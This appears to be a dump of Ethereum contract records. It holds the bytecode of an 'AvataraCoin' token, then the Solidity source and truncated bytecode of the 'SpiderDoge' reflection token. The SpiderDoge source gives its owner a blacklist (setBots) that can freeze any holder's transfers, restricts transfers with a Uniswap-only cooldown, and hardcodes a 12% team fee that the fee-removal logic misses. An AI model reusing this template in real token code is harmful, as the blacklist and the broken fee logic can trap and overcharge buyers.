4801561033c57600080fd5b506101a7610964565b34801561035157600080fd5b5061027e610974565b34801561036657600080fd5b5061019061097a565b34801561037b57600080fd5b506101a7600160a060020a03600435166024356109f2565b34801561039f57600080fd5b506101a7610a2d565b3480156103b457600080fd5b506103bd610a3d565b60408051600160a060020a039092168252519081900360200190f35b3480156103e557600080fd5b506101a7610a4c565b3480156103fa57600080fd5b5061027e600160a060020a0360043516610a5c565b34801561041b57600080fd5b506101a7600435610a77565b34801561043357600080fd5b506101a7610abe565b34801561044857600080fd5b50610190610b55565b34801561045d57600080fd5b506103bd610bd2565b34801561047257600080fd5b506101d0610be1565b34801561048757600080fd5b506101a7600160a060020a0360043516610c18565b3480156104a857600080fd5b506104b1610c79565b6040805167ffffffffffffffff9092168252519081900360200190f35b3480156104da57600080fd5b506101a7600160a060020a0360043516602435610c90565b3480156104fe57600080fd5b506103bd610cf8565b34801561051357600080fd5b5061027e600160a060020a0360043581169060243516610d07565b34801561053a57600080fd5b506101a7610d32565b610190600160a060020a03600435166105b7565b34801561056357600080fd5b506101a7610d80565b34801561057857600080fd5b50610190600160a060020a0360043516610dc6565b34801561059957600080fd5b5061027e610e21565b3480156105ae57600080fd5b5061027e610e31565b6000806000806007601c9054906101000a900460ff161580156105e6575069065a4da25d3016c0000060055411155b15156105f157600080fd5b60035460a060020a900460ff161561060857600080fd5b600160a060020a038516151561061d57600080fd5b67016345785d8a000034101561063257600080fd5b6005543494506000935061064d90859063ffffffff610e3f16565b91506801a055690d9db80000841061066857604b925061067c565b67d02ab486cedc0000841061067c57604692505b6753444835ec580000841061069457603c9250610720565b6729a2241af62c000084106106ac5760339250610720565b6714d1120d7b16000084106106c457602d9250610720565b670de0b6b3a764000084106106dc57602a9250610720565b6706f05b59d3b2000084106106f457601e9250610720565b670429d069189e0000841061070c5760149250610720565b67016345785d8a0000841061072057600592505b60045461073490859063ffffffff610e4e16565b90506000831115610762576107606064610754838663ffffffff610e4e16565b9063ffffffff610e7216565b015b6000546b0e30fa2d13ebccd22800000090610783908363ffffffff610e3f16565b111561078e57600080fd5b6107988582610e89565b506005829055604080518281529051600160a060020a0387169133917fbc9b717e64d37facf9bd4eaf188a144bd2c53b675ca7ec8b445af85586d3e3829181900360200190a36107e6610fba565b5050505050565b6003547501000000000000000000000000000000000000000000900460ff1681565b60408051808201909152600b81527f41766174617261436f696e000000000000000000000000000000000000000000602082015281565b60035460009060a060020a900460ff161561086057600080fd5b61086a8383610ff6565b9392505050565b60005481565b60035460009060a060020a900460ff161561089157600080fd5b60035460b060020a900460ff1615156108a957600080fd5b600160a060020a03831630148015906108ca5750600160a060020a03831615155b15156108d557600080fd5b6108e0848484611098565b949350505050565b60045481565b601281565b600354600090600160a060020a0316331461090d57600080fd5b600160a060020a038216151561092257600080fd5b5060068054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff199091161790556001919050565b6b0e30fa2d13ebccd22800000081565b60075460e060020a900460ff1681565b60055481565b600354600160a060020a0316331461099157600080fd5b60035460a060020a900460ff1615156109a957600080fd5b6003805474ff0000000000000000000000000000000000000000191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b60035460009060a060020a900460ff1615610a0c57600080fd5b600354600160a060020a03163314610a2357600080fd5b61086a8383610e89565b60035460b060020a900460ff1681565b600754600160a060020a031681565b60035460a060020a900460ff1681565b600160a060020a031660009081526001602052604090205490565b600354600090600160a060020a0316331480610a9d5750600654600160a060020a031633145b1515610aa857600080fd5b60008211610ab557600080fd5b50600455600190565b60035460009060a060020a900460ff1615610ad857600080fd5b600354600160a060020a03163314610aef57600080fd5b6003805475ff000000000000000000000000000000000000000000191675010000000000000000000000000000000000000000001790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b600354600160a060020a03163314610b6c57600080fd5b60035460a060020a900460ff1615610b8357600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600354600160a060020a031681565b60408051808201909152600381527f5654520000000000000000000000000000000000000000000000000000000000602082015281565b600354600090600160a060020a03163314610c3257600080fd5b600160a060020a0382161515610c4757600080fd5b5060078054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff199091161790556001919050565b60075460a060020a900467ffffffffffffffff1681565b60035460009060a060020a900460ff1615610caa57600080fd5b60035460b060020a900460ff161515610cc257600080fd5b600160a060020a0383163014801590610ce35750600160a060020a03831615155b1515610cee57600080fd5b61086a83836111a7565b600654600160a060020a031681565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600090600160a060020a03163314610d4c57600080fd5b50600780547fffffff00ffffffffffffffffffffffffffffffffffffffffffffffffffffffff1660e060020a179055600190565b600354600090600160a060020a03163314610d9a57600080fd5b506003805476ff00000000000000000000000000000000000000000000191660b060020a179055600190565b600354600160a060020a03163314610ddd57600080fd5b600160a060020a0381161515610df257600080fd5b6003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6b17a6f64b2133aab39800000081565b69065a4da25d3016c0000081565b60008282018381101561086a57fe5b6000828202831580610e6a5750828482811515610e6757fe5b04145b151561086a57fe5b6000808284811515610e8057fe5b04949350505050565b6003546000907501000000000000000000000000000000000000000000900460ff1615610eb557600080fd5b6000546b17a6f64b2133aab39800000090610ed6908463ffffffff610e3f16565b1115610ee157600080fd5b600054610ef4908363ffffffff610e3f16565b6000908155600160a060020a038416815260016020526040902054610f1f908363ffffffff610e3f16565b600160a060020a038416600081815260016020908152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a0385169130917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350600192915050565b600754604051600160a060020a03909116903480156108fc02916000818181858888f19350505050158015610ff3573d6000803e3d6000fd5b50565b60008115806110265750336000908152600260209081526040808320600160a060020a0387168452909152902054155b151561103157600080fd5b336000818152600260209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b600160a060020a038084166000908152600260209081526040808320338452825280832054938616835260019091528120549091906110dd908463ffffffff610e3f16565b600160a060020a038086166000908152600160205260408082209390935590871681522054611112908463ffffffff61125716565b600160a060020a03861660009081526001602052604090205561113b818463ffffffff61125716565b600160a060020a03808716600081815260026020908152604080832033845282529182902094909455805187815290519288169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a3506001949350505050565b336000908152600160205260408120546111c7908363ffffffff61125716565b3360009081526001602052604080822092909255600160a060020a038516815220546111f9908363ffffffff610e3f16565b600160a060020a0384166000818152600160209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b60008282111561126357fe5b509003905600a165627a7a723058209f6d8e7efc3292ce162e8474b155f8f3742b94fd46e9025b7a59c961a0ad4e920029
{"success": true, "error": null, "results": {}}
8,583
0x14bd4aca73632b2d9a3f585ae43dec67d11305e9
/** *Submitted for verification at Etherscan.io on 2021-07-07 */ //SpiderDoge ($SpiderDoge) //Telegram : https://t.me/spiderdogeofficial //Website : https://spiderdogetoken.com //Fair Launch //100% Community Driven! // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract SpiderDoge is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "SpiderDoge"; string private constant _symbol = "SpiderDoge"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 2; uint256 private _teamFee = 12; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 2; _teamFee = 12; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } if (from != address(this)) { require(amount <= _maxTxAmount); } require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 5000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues( tAmount, _taxFee, 12 ); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues( tAmount, tFee, tTeam, currentRate ); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612f11565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a34565b61045e565b6040516101789190612ef6565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a391906130b3565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129e5565b61048d565b6040516101e09190612ef6565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612957565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190613128565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612ab1565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612957565b610783565b6040516102b191906130b3565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612e28565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612f11565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a34565b61098d565b60405161035b9190612ef6565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a70565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612b03565b6110d1565b005b3480156103f057600080fd5b5061040b600480360381019061040691906129a9565b61121a565b60405161041891906130b3565b60405180910390f35b60606040518060400160405280600a81526020017f537069646572446f676500000000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137ec60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c679092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612ff3565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612ff3565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611ccb565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dc6565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612ff3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f537069646572446f676500000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612ff3565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef906133c9565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e34565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612ff3565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613073565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d689190612980565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e029190612980565b6040518363ffffffff1660e01b8152600401610e1f929190612e43565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e719190612980565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e95565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612b2c565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550674563918244f400006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e6c565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612ada565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612ff3565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612fb3565b60405180910390fd5b6111d860646111ca83683635c9adc5dea0000061212e90919063ffffffff16565b6121a990919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f91906130b3565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613053565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f73565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161146791906130b3565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613033565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f33565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90613013565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ba457600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613093565b60405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146118835760105481111561188257600080fd5b5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156119275750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61193057600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119db5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611a315750600560008373fffffffffffffffffffffffff